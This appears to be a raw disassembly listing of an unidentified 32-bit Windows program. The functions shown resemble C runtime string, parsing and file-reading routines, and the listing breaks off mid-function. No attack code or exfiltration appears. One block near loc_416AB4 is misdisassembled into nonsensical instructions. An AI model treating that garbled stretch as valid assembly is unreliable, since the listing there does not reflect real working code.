		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_416997
; ---------------------------------------------------------------------------


loc_416965:				; CODE XREF: sub_416861+FAj
		cmp	ds:dword_437F5C, 1
		jle	short loc_416979
		push	edi
		push	esi
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_416984
; ---------------------------------------------------------------------------


loc_416979:				; CODE XREF: sub_416861+10Bj
		mov	eax, ds:off_437D50
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_416984:				; CODE XREF: sub_416861+116j
		test	eax, eax
		jz	short loc_4169D2
		movsx	eax, bl
		push	eax
		call	sub_41AC51
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_416997:				; CODE XREF: sub_416861+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4169D2
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_4169BC
		jnz	short loc_4169B6
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_4169BC


loc_4169B6:				; CODE XREF: sub_416861+147j
		or	[ebp+arg_C], 4
		jmp	short loc_4169C5
; ---------------------------------------------------------------------------


loc_4169BC:				; CODE XREF: sub_416861+145j
					; sub_416861+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_4169C5:				; CODE XREF: sub_416861+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_416936
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_416861+125j
					; sub_416861+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4169F0
		test	edx, edx
		jz	short loc_4169EA
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4169EA:				; CODE XREF: sub_416861+181j
		and	[ebp+var_8], 0
		jmp	short loc_416A3D
; ---------------------------------------------------------------------------


loc_4169F0:				; CODE XREF: sub_416861+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_416A16
		test	cl, 1
		jnz	short loc_416A3D
		and	ecx, 2
		jz	short loc_416A0D
		cmp	[ebp+var_8], 80000000h
		ja	short loc_416A16


loc_416A0D:				; CODE XREF: sub_416861+1A1j
		test	ecx, ecx
		jnz	short loc_416A3D
		cmp	[ebp+var_8], eax
		jbe	short loc_416A3D


loc_416A16:				; CODE XREF: sub_416861+197j
					; sub_416861+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	ds:dword_469474, 22h
		jz	short loc_416A2C
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_416A3D
; ---------------------------------------------------------------------------


loc_416A2C:				; CODE XREF: sub_416861+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_416A3D:				; CODE XREF: sub_416861+18Dj
					; sub_416861+19Cj ...
		test	edx, edx
		jz	short loc_416A46
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_416A46:				; CODE XREF: sub_416861+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_416A54
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_416A54:				; CODE XREF: sub_416861+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_416A64
; ---------------------------------------------------------------------------


loc_416A59:				; CODE XREF: sub_416861+66j
					; sub_416861+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_416A62
		mov	[eax], edi


loc_416A62:				; CODE XREF: sub_416861+1FDj
		xor	eax, eax


loc_416A64:				; CODE XREF: sub_416861+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416861	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A69	proc near		; CODE XREF: seg000:004058AAp
					; seg000:00410478p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416861
		add	esp, 10h
		retn
sub_416A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A80	proc near		; CODE XREF: seg000:00405653p
					; seg000:00405857p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_415CD0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AD1D
		add	esp, 10h
		leave
		retn
sub_416A80	endp

; ---------------------------------------------------------------------------


loc_416AB4:				; CODE XREF: seg000:0040543Bp
		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp-10h]
		push	eax
		call	ds:dword_42105C	; GetLocalTime
		lea	eax, [ebp-20h]
		push	eax
		call	near ptr 3D0000h
		mov	ax, [di-16h]
		cmp	ax, ds:word_46946A
		jnz	short loc_416B19
		mov	ax, [ebp-18h]
		cmp	ax, ds:word_469468
		jnz	short loc_416B19
		mov	ax, [ebp-1Ah]
		cmp	ax, ds:word_469466
		jnz	short loc_416B19
		mov	ax, [ebp-1Eh]
		cmp	ax, ds:word_469462 ; CODE XREF:	seg000:00416B32j
		jnz	short loc_416B19
		mov	ax, [ebp-20h]
		cmp	ax, ds:word_469460
		jnz	short loc_416B19
		mov	eax, ds:dword_469458 ; CODE XREF: seg000:00416B38j
		jmp	short loc_416B5E
; ---------------------------------------------------------------------------


loc_416B19:				; CODE XREF: seg000:00416ADCj
					; seg000:00416AE9j ...
		lea	eax, [ebp-0CCh]
		push	eax
		call	near ptr 3D0000h
		imul	eax, [ebx+1B74FFF8h], 7502F883h
		adc	ah, [esi-7Dh]
		jge	short near ptr loc_416AFC+6
		add	[ebx+ecx-7Dh], dh
		jge	short near ptr loc_416B12+4
		add	[ebp+eax+6Ah], dh
		add	[eax-15h], ebx
		pop	es
		xor	eax, eax
		jmp	short loc_416B49
; ---------------------------------------------------------------------------
		or	eax, 0FFFFFFFFh


loc_416B49:				; CODE XREF: seg000:00416B44j
		push	esi
		push	edi
		lea	esi, [ebp-20h]
		mov	edi, offset word_469460
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	ds:dword_469458, eax
		pop	esi


loc_416B5E:				; CODE XREF: seg000:00416B17j
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		call	sub_41B7CE
		mov	ecx, [ebp+8]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_416B8E
		mov	[ecx], eax

locret_416B8E:				; CODE XREF: seg000:00416B8Aj
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B90	proc near		; CODE XREF: seg000:00405ABBp
					; sub_40B43D+45p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_416BB4
		xor	eax, eax
		jmp	loc_416C5D
; ---------------------------------------------------------------------------


loc_416BB4:				; CODE XREF: sub_416B90+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416BC7
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_416BD3
; ---------------------------------------------------------------------------


loc_416BC7:				; CODE XREF: sub_416B90+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_416BD3
; ---------------------------------------------------------------------------


loc_416BD0:				; CODE XREF: sub_416B90+C4j
		mov	ecx, [ebp+arg_0]


loc_416BD3:				; CODE XREF: sub_416B90+35j
					; sub_416B90+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416C05
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_416C05
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_416BEA
		mov	edi, eax


loc_416BEA:				; CODE XREF: sub_416B90+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4155B0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_416C50
; ---------------------------------------------------------------------------


loc_416C05:				; CODE XREF: sub_416B90+49j
					; sub_416B90+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_416C38
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_416C1B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_416C1B:				; CODE XREF: sub_416B90+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41B969
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416C62
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416C68
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_416C50
; ---------------------------------------------------------------------------


loc_416C38:				; CODE XREF: sub_416B90+78j
		push	esi
		call	sub_41B890
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416C6C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_416C50:				; CODE XREF: sub_416B90+73j
					; sub_416B90+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_416BD0
		mov	eax, [ebp+arg_8]


loc_416C5D:				; CODE XREF: sub_416B90+1Fj
					; sub_416B90+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416C62:				; CODE XREF: sub_416B90+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_416C6C
; ---------------------------------------------------------------------------


loc_416C68:				; CODE XREF: sub_416B90+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_416C6C:				; CODE XREF: sub_416B90+B2j
					; sub_416B90+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_416C5D
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C78	proc near		; CODE XREF: sub_405B07+2B2p
					; sub_4060E4+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_416C91:				; CODE XREF: sub_416C78+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_416C91
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_416CB9
		mov	edx, ds:dword_469470


loc_416CB9:				; CODE XREF: sub_416C78+39j
					; sub_416C78+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_416CD9
		test	al, al
		jz	short loc_416CD9
		inc	edx
		jmp	short loc_416CB9
; ---------------------------------------------------------------------------


loc_416CD9:				; CODE XREF: sub_416C78+58j
					; sub_416C78+5Cj
		mov	ebx, edx


loc_416CDB:				; CODE XREF: sub_416C78+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_416CFF
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_416CFB
		inc	edx
		jmp	short loc_416CDB
; ---------------------------------------------------------------------------


loc_416CFB:				; CODE XREF: sub_416C78+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_416CFF:				; CODE XREF: sub_416C78+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_469470, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_416C78	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D20	proc near		; CODE XREF: seg000:00406548p
					; sub_40998E+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_416DA3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_416D44
		shr	ecx, 2
		jnz	short loc_416DB1
		jmp	short loc_416D65
; ---------------------------------------------------------------------------


loc_416D44:				; CODE XREF: sub_416D20+1Bj
					; sub_416D20+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_416D72
		test	al, al
		jz	short loc_416D7A
		test	esi, 3
		jnz	short loc_416D44
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416DB1


loc_416D60:				; CODE XREF: sub_416D20+8Fj
		and	ebx, 3
		jz	short loc_416D72


loc_416D65:				; CODE XREF: sub_416D20+22j
					; sub_416D20+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_416D9E
		dec	ebx
		jnz	short loc_416D65


loc_416D72:				; CODE XREF: sub_416D20+2Bj
					; sub_416D20+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416D7A:				; CODE XREF: sub_416D20+2Fj
		test	edi, 3
		jz	short loc_416D94


loc_416D82:				; CODE XREF: sub_416D20+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_416E16
		test	edi, 3
		jnz	short loc_416D82


loc_416D94:				; CODE XREF: sub_416D20+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416E07


loc_416D9B:				; CODE XREF: sub_416D20+7Fj
					; sub_416D20+F4j
		mov	[edi], al
		inc	edi


loc_416D9E:				; CODE XREF: sub_416D20+4Dj
		dec	ebx
		jnz	short loc_416D9B
		pop	ebx
		pop	esi


loc_416DA3:				; CODE XREF: sub_416D20+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416DA9:				; CODE XREF: sub_416D20+A9j
					; sub_416D20+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416D60


loc_416DB1:				; CODE XREF: sub_416D20+20j
					; sub_416D20+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416DA9
		test	dl, dl
		jz	short loc_416DFB
		test	dh, dh
		jz	short loc_416DF1
		test	edx, 0FF0000h
		jz	short loc_416DE7
		test	edx, 0FF000000h
		jnz	short loc_416DA9
		mov	[edi], edx
		jmp	short loc_416DFF
; ---------------------------------------------------------------------------


loc_416DE7:				; CODE XREF: sub_416D20+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_416DFF
; ---------------------------------------------------------------------------


loc_416DF1:				; CODE XREF: sub_416D20+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_416DFF
; ---------------------------------------------------------------------------


loc_416DFB:				; CODE XREF: sub_416D20+ADj
		xor	edx, edx
		mov	[edi], edx


loc_416DFF:				; CODE XREF: sub_416D20+C5j
					; sub_416D20+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_416E11


loc_416E07:				; CODE XREF: sub_416D20+79j
		xor	eax, eax


loc_416E09:				; CODE XREF: sub_416D20+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_416E09


loc_416E11:				; CODE XREF: sub_416D20+E5j
		and	ebx, 3
		jnz	short loc_416D9B


loc_416E16:				; CODE XREF: sub_416D20+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416D20	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_416E9A
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_416E3D
		cmp	edi, 1
		jz	short loc_416E3D
		cmp	edi, 2
		jnz	short loc_416E9A


loc_416E3D:				; CODE XREF: seg000:00416E31j
					; seg000:00416E36j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_416E54
		push	esi
		call	sub_41BBF9
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_416E54:				; CODE XREF: seg000:00416E45j
		push	esi
		call	sub_4186C4
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_416E69
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_416E7D
; ---------------------------------------------------------------------------


loc_416E69:				; CODE XREF: seg000:00416E60j
		test	al, 1
		jz	short loc_416E7D
		test	al, 8
		jz	short loc_416E7D
		test	ah, 4
		jnz	short loc_416E7D
		mov	dword ptr [esi+18h], 200h


loc_416E7D:				; CODE XREF: seg000:00416E67j
					; seg000:00416E6Bj ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_41BB5F
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_416EA7
; ---------------------------------------------------------------------------


loc_416E9A:				; CODE XREF: seg000:00416E29j
					; seg000:00416E3Bj
		mov	ds:dword_469474, 16h
		or	eax, 0FFFFFFFFh


loc_416EA7:				; CODE XREF: seg000:00416E98j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EB0	proc near		; CODE XREF: seg000:0040D6ACp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_416EE1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_416EDF
		jz	short loc_416EE1
		dec	ecx
		dec	ecx


loc_416EDF:				; CODE XREF: sub_416EB0+29j
		not	ecx


loc_416EE1:				; CODE XREF: sub_416EB0+9j
					; sub_416EB0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_416EB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416EF0	proc near		; CODE XREF: sub_407119+5Cp
					; sub_407119+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416FA4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_416F1A


loc_416F0B:				; CODE XREF: sub_416EF0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_416F4B
		test	edi, 3
		jnz	short loc_416F0B


loc_416F1A:				; CODE XREF: sub_416EF0+19j
					; sub_416EF0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_416F1A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_416F58
		test	ah, ah
		jz	short loc_416F53
		test	eax, 0FF0000h
		jz	short loc_416F4E
		test	eax, 0FF000000h
		jnz	short loc_416F1A


loc_416F4B:				; CODE XREF: sub_416EF0+20j
		dec	edi
		jmp	short loc_416F5B
; ---------------------------------------------------------------------------


loc_416F4E:				; CODE XREF: sub_416EF0+52j
		sub	edi, 2
		jmp	short loc_416F5B
; ---------------------------------------------------------------------------


loc_416F53:				; CODE XREF: sub_416EF0+4Bj
		sub	edi, 3
		jmp	short loc_416F5B
; ---------------------------------------------------------------------------


loc_416F58:				; CODE XREF: sub_416EF0+47j
		sub	edi, 4


loc_416F5B:				; CODE XREF: sub_416EF0+5Cj
					; sub_416EF0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_416F70
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FBC
		jmp	short loc_416F8C
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EF0+75j
					; sub_416EF0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_416FAA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_416FA0
		test	esi, 3
		jnz	short loc_416F70
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FBC


loc_416F8C:				; CODE XREF: sub_416EF0+7Ej
					; sub_416EF0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_416FA0


loc_416F93:				; CODE XREF: sub_416EF0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_416FA2
		dec	ecx
		jnz	short loc_416F93


loc_416FA0:				; CODE XREF: sub_416EF0+8Bj
					; sub_416EF0+A1j
		mov	[edi], cl


loc_416FA2:				; CODE XREF: sub_416EF0+ABj
		pop	ebx
		pop	esi


loc_416FA4:				; CODE XREF: sub_416EF0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FAA:				; CODE XREF: sub_416EF0+85j
					; sub_416EF0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FB4:				; CODE XREF: sub_416EF0+E4j
					; sub_416EF0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416F8C


loc_416FBC:				; CODE XREF: sub_416EF0+7Cj
					; sub_416EF0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416FB4
		test	dl, dl
		jz	short loc_416FAA
		test	dh, dh
		jz	short loc_417008
		test	edx, 0FF0000h
		jz	short loc_416FF8
		test	edx, 0FF000000h
		jnz	short loc_416FB4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FF8:				; CODE XREF: sub_416EF0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417008:				; CODE XREF: sub_416EF0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416EF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417020	proc near		; CODE XREF: seg000:004074FCp
					; seg000:0040FEE6p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_417041
		xor	eax, eax
		jmp	short loc_417043
; ---------------------------------------------------------------------------


loc_417041:				; CODE XREF: sub_417020+1Bj
		mov	eax, edi


loc_417043:				; CODE XREF: sub_417020+1Fj
		cld
		pop	edi
		leave
		retn
sub_417020	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_417060


loc_417050:				; CODE XREF: sub_417060+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_417060
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417060	proc near		; CODE XREF: sub_4085B7+DBp
					; seg000:0040D24Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00417050 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_417066:				; CODE XREF: sub_415AA0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41708B


loc_417078:				; CODE XREF: sub_417060+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_417050
		test	cl, cl
		jz	short loc_4170D4
		test	edx, 3
		jnz	short loc_417078


loc_41708B:				; CODE XREF: sub_417060+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_417096:				; CODE XREF: sub_417060+61j
					; sub_417060+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4170D8
		and	eax, 81010100h
		jz	short loc_417096
		and	eax, 1010100h
		jnz	short loc_4170D2
		and	esi, 80000000h
		jnz	short loc_417096


loc_4170D2:				; CODE XREF: sub_417060+68j
					; sub_417060+81j ...
		pop	esi
		pop	edi


loc_4170D4:				; CODE XREF: sub_417060+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4170D8:				; CODE XREF: sub_417060+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_417115
		test	al, al
		jz	short loc_4170D2
		cmp	ah, bl
		jz	short loc_41710E
		test	ah, ah
		jz	short loc_4170D2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_417107
		test	al, al
		jz	short loc_4170D2
		cmp	ah, bl
		jz	short loc_417100
		test	ah, ah
		jz	short loc_4170D2
		jmp	short loc_417096
; ---------------------------------------------------------------------------


loc_417100:				; CODE XREF: sub_417060+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417107:				; CODE XREF: sub_417060+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41710E:				; CODE XREF: sub_417060+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417115:				; CODE XREF: sub_417060+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_417060	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41711C	proc near		; CODE XREF: sub_4085B7+AFp
					; seg000:004112B0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_417130
		xor	eax, eax
		jmp	short loc_417166
; ---------------------------------------------------------------------------


loc_417130:				; CODE XREF: sub_41711C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_417160
		mov	esi, [ebp+arg_8]


loc_417139:				; CODE XREF: sub_41711C+42j
		dec	dword ptr [esi+4]
		js	short loc_417148
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41714F
; ---------------------------------------------------------------------------


loc_417148:				; CODE XREF: sub_41711C+20j
		push	esi
		call	sub_41B890
		pop	ecx
